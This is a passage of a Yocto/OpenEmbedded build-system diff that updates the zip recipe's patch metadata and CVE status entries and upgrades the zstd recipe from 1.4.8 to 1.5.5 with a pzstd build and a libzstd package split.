26 #ifndef dirent
27 # define dirent direct
28 #endif
29-typedef FILE DIR;
30 /*
31 ** Apparently originally by Rich Salz.
32 ** Cleaned up and modified by James W. Birdsall.
33--
342.37.1
35
diff --git a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
index 244ddea363..6fd04df1c6 100644
--- a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
+++ b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
@@ -2,7 +2,7 @@ From: Santiago Vila <sanvila@debian.org>
2Subject: Remove (optional) build date to make the build reproducible 2Subject: Remove (optional) build date to make the build reproducible
3Bug-Debian: http://bugs.debian.org/779042 3Bug-Debian: http://bugs.debian.org/779042
4 4
5Upstream-Status: Inappropriate [no upstream] 5Upstream-Status: Inactive-Upstream [no upstream]
6 6
7Signed-off-by: Joshua Watt <JPEWhacker@gmail.com> 7Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
8 8
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
index 19d8548273..f85fddbc60 100644
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
@@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro
14[YOCTO #9552] 14[YOCTO #9552]
15[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552] 15[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
16 16
17Upstream-Status: Pending 17Upstream-Status: Inactive-Upstream [need a new release]
18 18
19Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com> 19Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
20 20
diff --git a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
index ce6caff83e..77ade40a04 100644
--- a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
+++ b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
@@ -4,7 +4,7 @@ https://bugs.archlinux.org/task/47713
4 4
5Signed-off-by: Jate Sujjavanich <jatedev@gmail.com> 5Signed-off-by: Jate Sujjavanich <jatedev@gmail.com>
6 6
7Upstream-Status: Inappropriate [no upstream] 7Upstream-Status: Inactive-Upstream [no upstream]
8 8
9diff --git a/zipnote.c b/zipnote.c 9diff --git a/zipnote.c b/zipnote.c
10index 5e02cb6..996f012 100644 10index 5e02cb6..996f012 100644
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
index 97e5e57533..70df5ab872 100644
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ b/meta/recipes-extended/zip/zip_3.0.bb
@@ -1,11 +1,11 @@
1SUMMARY = "Compressor/archiver for creating and modifying .zip files" 1SUMMARY = "Compressor/archiver for creating and modifying .zip files"
2HOMEPAGE = "http://www.info-zip.org" 2HOMEPAGE = "http://www.info-zip.org"
3DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
3SECTION = "console/utils" 4SECTION = "console/utils"
4 5
5LICENSE = "BSD-3-Clause" 6LICENSE = "BSD-3-Clause"
6LIC_FILES_CHKSUM = "file://LICENSE;md5=04d43c5d70b496c032308106e26ae17d" 7LIC_FILES_CHKSUM = "file://LICENSE;md5=04d43c5d70b496c032308106e26ae17d"
7 8
8PR = "r2"
9 9
10S = "${WORKDIR}/zip30" 10S = "${WORKDIR}/zip30"
11 11
@@ -13,17 +13,20 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar.
13 file://fix-security-format.patch \ 13 file://fix-security-format.patch \
14 file://10-remove-build-date.patch \ 14 file://10-remove-build-date.patch \
15 file://zipnote-crashes-with-segfault.patch \ 15 file://zipnote-crashes-with-segfault.patch \
16 file://0001-configure-use-correct-CPP.patch \
17 file://0002-configure-support-PIC-code-build.patch \
18 file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \
19 file://0001-configure-Specify-correct-function-signatures-and-de.patch \
20 file://0002-unix.c-Do-not-redefine-DIR-as-FILE.patch \
21 file://0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch \
16 " 22 "
17UPSTREAM_VERSION_UNKNOWN = "1" 23UPSTREAM_VERSION_UNKNOWN = "1"
18 24
19SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37" 25SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37"
20SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369" 26SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
21 27
22# Disputed and also Debian doesn't consider a vulnerability 28CVE_STATUS[CVE-2018-13410] = "disputed: Disputed and also Debian doesn't consider a vulnerability"
23CVE_CHECK_WHITELIST += "CVE-2018-13410" 29CVE_STATUS[CVE-2018-13684] = "cpe-incorrect: Not for zip but for smart contract implementation for it"
24
25# Not for zip but for smart contract implementation for it
26CVE_CHECK_WHITELIST += "CVE-2018-13684"
27 30
28# zip.inc sets CFLAGS, but what Makefile actually uses is 31# zip.inc sets CFLAGS, but what Makefile actually uses is
29# CFLAGS_NOOPT. It will also force -O3 optimization, overriding 32# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
diff --git a/meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch b/meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch
deleted file mode 100644
index 178124a2ef..0000000000
--- a/meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch
+++ /dev/null
@@ -1,80 +0,0 @@
1From 8d01b0753162681dcdbb7cf56f1e393c261e3eb0 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex.kanavin@gmail.com>
3Date: Wed, 23 Dec 2020 19:14:32 +0100
4Subject: [PATCH] Makefile: sort all wildcard file list expansions
5
6Otherwise the order is non-deterministic and breaks
7reproducible builds.
8
9Upstream-Status: Pending
10Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
11---
12 programs/Makefile | 10 +++++-----
13 tests/Makefile | 4 ++--
14 tests/fuzz/Makefile | 2 +-
15 3 files changed, 8 insertions(+), 8 deletions(-)
16
17diff --git a/programs/Makefile b/programs/Makefile
18index 8641d0ee..26fee45f 100644
19--- a/programs/Makefile
20+++ b/programs/Makefile
21@@ -72,11 +72,11 @@ ZSTDLEGACY_DIR := $(ZSTDDIR)/legacy
22
23 vpath %.c $(ZSTDLIB_COMMON) $(ZSTDLIB_COMPRESS) $(ZSTDLIB_DECOMPRESS) $(ZDICT_DIR) $(ZSTDLEGACY_DIR)
24
25-ZSTDLIB_COMMON_C := $(wildcard $(ZSTDLIB_COMMON)/*.c)
26-ZSTDLIB_COMPRESS_C := $(wildcard $(ZSTDLIB_COMPRESS)/*.c)
27-ZSTDLIB_DECOMPRESS_C := $(wildcard $(ZSTDLIB_DECOMPRESS)/*.c)
28+ZSTDLIB_COMMON_C := $(sort $(wildcard $(ZSTDLIB_COMMON)/*.c))
29+ZSTDLIB_COMPRESS_C := $(sort $(wildcard $(ZSTDLIB_COMPRESS)/*.c))
30+ZSTDLIB_DECOMPRESS_C := $(sort $(wildcard $(ZSTDLIB_DECOMPRESS)/*.c))
31 ZSTDLIB_CORE_SRC := $(ZSTDLIB_DECOMPRESS_C) $(ZSTDLIB_COMMON_C) $(ZSTDLIB_COMPRESS_C)
32-ZDICT_SRC := $(wildcard $(ZDICT_DIR)/*.c)
33+ZDICT_SRC := $(sort $(wildcard $(ZDICT_DIR)/*.c))
34
35 ZSTD_LEGACY_SUPPORT ?= 5
36 ZSTDLEGACY_SRC :=
37@@ -91,7 +91,7 @@ ZSTDLIB_FULL_SRC = $(sort $(ZSTDLIB_CORE_SRC) $(ZSTDLEGACY_SRC) $(ZDICT_SRC))
38 ZSTDLIB_LOCAL_SRC := $(notdir $(ZSTDLIB_FULL_SRC))
39 ZSTDLIB_LOCAL_OBJ := $(ZSTDLIB_LOCAL_SRC:.c=.o)
40
41-ZSTD_CLI_SRC := $(wildcard *.c)
42+ZSTD_CLI_SRC := $(sort $(wildcard *.c))
43 ZSTD_CLI_OBJ := $(ZSTD_CLI_SRC:.c=.o)
44
45 ZSTD_ALL_SRC := $(ZSTDLIB_LOCAL_SRC) $(ZSTD_CLI_SRC)
46diff --git a/tests/Makefile b/tests/Makefile
47index 42bc353c..5f5654f0 100644
48--- a/tests/Makefile
49+++ b/tests/Makefile
50@@ -49,7 +49,7 @@ ZSTD_FILES := $(ZSTDDECOMP_FILES) $(ZSTDCOMMON_FILES) $(ZSTDCOMP_FILES)
51 ZBUFF_FILES := $(ZSTDDIR)/deprecated/*.c
52 ZDICT_FILES := $(ZSTDDIR)/dictBuilder/*.c
53
54-ZSTD_F1 := $(wildcard $(ZSTD_FILES))
55+ZSTD_F1 := $(sort $(wildcard $(ZSTD_FILES)))
56 ZSTD_OBJ1 := $(subst $(ZSTDDIR)/common/,zstdm_,$(ZSTD_F1))
57 ZSTD_OBJ2 := $(subst $(ZSTDDIR)/compress/,zstdc_,$(ZSTD_OBJ1))
58 ZSTD_OBJ3 := $(subst $(ZSTDDIR)/decompress/,zstdd_,$(ZSTD_OBJ2))
59@@ -212,7 +212,7 @@ bigdict: $(ZSTDMT_OBJECTS) $(PRGDIR)/datagen.c bigdict.c
60 invalidDictionaries : $(ZSTD_OBJECTS) invalidDictionaries.c
61
62 legacy : CPPFLAGS += -I$(ZSTDDIR)/legacy -DZSTD_LEGACY_SUPPORT=4
63-legacy : $(ZSTD_FILES) $(wildcard $(ZSTDDIR)/legacy/*.c) legacy.c
64+legacy : $(ZSTD_FILES) $(sort $(wildcard $(ZSTDDIR)/legacy/*.c)) legacy.c
65
66 decodecorpus : LDLIBS += -lm
67 decodecorpus : $(filter-out zstdc_zstd_compress.o, $(ZSTD_OBJECTS)) $(ZDICT_FILES) $(PRGDIR)/util.c $(PRGDIR)/timefn.c decodecorpus.c
68diff --git a/tests/fuzz/Makefile b/tests/fuzz/Makefile
69index 36232a8c..574fe877 100644
70--- a/tests/fuzz/Makefile
71+++ b/tests/fuzz/Makefile
72@@ -58,7 +58,7 @@ FUZZ_SRC := \
73 $(ZSTDCOMP_SRC) \
74 $(ZSTDDICT_SRC) \
75 $(ZSTDLEGACY_SRC)
76-FUZZ_SRC := $(wildcard $(FUZZ_SRC))
77+FUZZ_SRC := $(sort $(wildcard $(FUZZ_SRC)))
78
79 FUZZ_D_OBJ1 := $(subst $(ZSTDDIR)/common/,d_lib_common_,$(FUZZ_SRC))
80 FUZZ_D_OBJ2 := $(subst $(ZSTDDIR)/compress/,d_lib_compress_,$(FUZZ_D_OBJ1))
diff --git a/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
new file mode 100644
index 0000000000..847a641691
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
@@ -0,0 +1,39 @@
1From 121ef5253a49065dea6a89536ca7bd3dabd40e25 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Mon, 19 Jun 2023 17:10:09 +0200
4Subject: [PATCH] pzstd: use c++14 without conditions
5
6Doing this check with a direct c++ snippet is prone to portability problems:
7
8- \043 is not portable between shells: dash expands it to #,
9bash does not;
10
11- using # directly works with make 4.3 but does not with make 4.2.
12
13Let's just use the c++ version that covers both the code and the gtest.
14
15Upstream-Status: Submitted [https://github.com/facebook/zstd/pull/3682]
16Signed-off-by: Alexander Kanavin <alex@linutronix.de>
17
18---
19 contrib/pzstd/Makefile | 7 ++-----
20 1 file changed, 2 insertions(+), 5 deletions(-)
21
22diff --git a/contrib/pzstd/Makefile b/contrib/pzstd/Makefile
23index e62f8e87..58fb82a1 100644
24--- a/contrib/pzstd/Makefile
25+++ b/contrib/pzstd/Makefile
26@@ -37,11 +37,8 @@ CFLAGS += -Wno-deprecated-declarations
27 PZSTD_INC = -I$(ZSTDDIR) -I$(ZSTDDIR)/common -I$(PROGDIR) -I.
28 GTEST_INC = -isystem googletest/googletest/include
29
30-# If default C++ version is older than C++11, explicitly set C++11, which is the
31-# minimum required by the code.
32-ifeq ($(shell echo "\043if __cplusplus < 201103L\n\043error\n\043endif" | $(CXX) -x c++ -Werror -c - -o /dev/null 2>/dev/null && echo 1 || echo 0),0)
33-PZSTD_CXX_STD := -std=c++11
34-endif
35+# Set the minimum required by gtest
36+PZSTD_CXX_STD := -std=c++14
37
38 PZSTD_CPPFLAGS = $(PZSTD_INC)
39 PZSTD_CCXXFLAGS =
diff --git a/meta/recipes-extended/zstd/zstd_1.4.8.bb b/meta/recipes-extended/zstd/zstd_1.5.5.bb
index 10a6334cb7..2d72af50a4 100644
--- a/meta/recipes-extended/zstd/zstd_1.4.8.bb
+++ b/meta/recipes-extended/zstd/zstd_1.5.5.bb
@@ -5,17 +5,19 @@ It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
5HOMEPAGE = "http://www.zstd.net/" 5HOMEPAGE = "http://www.zstd.net/"
6SECTION = "console/utils" 6SECTION = "console/utils"
7 7
8LICENSE = "BSD-3-Clause & GPLv2" 8LICENSE = "BSD-3-Clause | GPL-2.0-only"
9LIC_FILES_CHKSUM = "file://LICENSE;md5=c7f0b161edbe52f5f345a3d1311d0b32 \ 9LIC_FILES_CHKSUM = "file://LICENSE;md5=0822a32f7acdbe013606746641746ee8 \
10 file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0" 10 file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0 \
11 "
11 12
12SRC_URI = "git://github.com/facebook/zstd.git;branch=release \ 13SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https \
13 file://0001-Makefile-sort-all-wildcard-file-list-expansions.patch \ 14 file://0001-pzstd-use-directly-for-the-test-c-snippet.patch"
14 "
15 15
16SRCREV = "97a3da1df009d4dc67251de0c4b1c9d7fe286fc1" 16SRCREV = "63779c798237346c2b245c546c40b72a5a5913fe"
17UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)" 17UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
18 18
19CVE_PRODUCT = "zstandard"
20
19S = "${WORKDIR}/git" 21S = "${WORKDIR}/git"
20 22
21PACKAGECONFIG ??= "" 23PACKAGECONFIG ??= ""
@@ -26,12 +28,20 @@ PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
26# See programs/README.md for how to use this 28# See programs/README.md for how to use this
27ZSTD_LEGACY_SUPPORT ??= "4" 29ZSTD_LEGACY_SUPPORT ??= "4"
28 30
31EXTRA_OEMAKE += "V=1"
32
29do_compile () { 33do_compile () {
30 oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} 34 oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
35 oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
31} 36}
32 37
33do_install () { 38do_install () {
34 oe_runmake install 'DESTDIR=${D}' 39 oe_runmake install 'DESTDIR=${D}'
40 oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
35} 41}
36 42
43PACKAGE_BEFORE_PN = "libzstd"
44
45FILES:libzstd = "${libdir}/libzstd${SOLIBS}"
46
37BBCLASSEXTEND = "native nativesdk" 47BBCLASSEXTEND = "native nativesdk"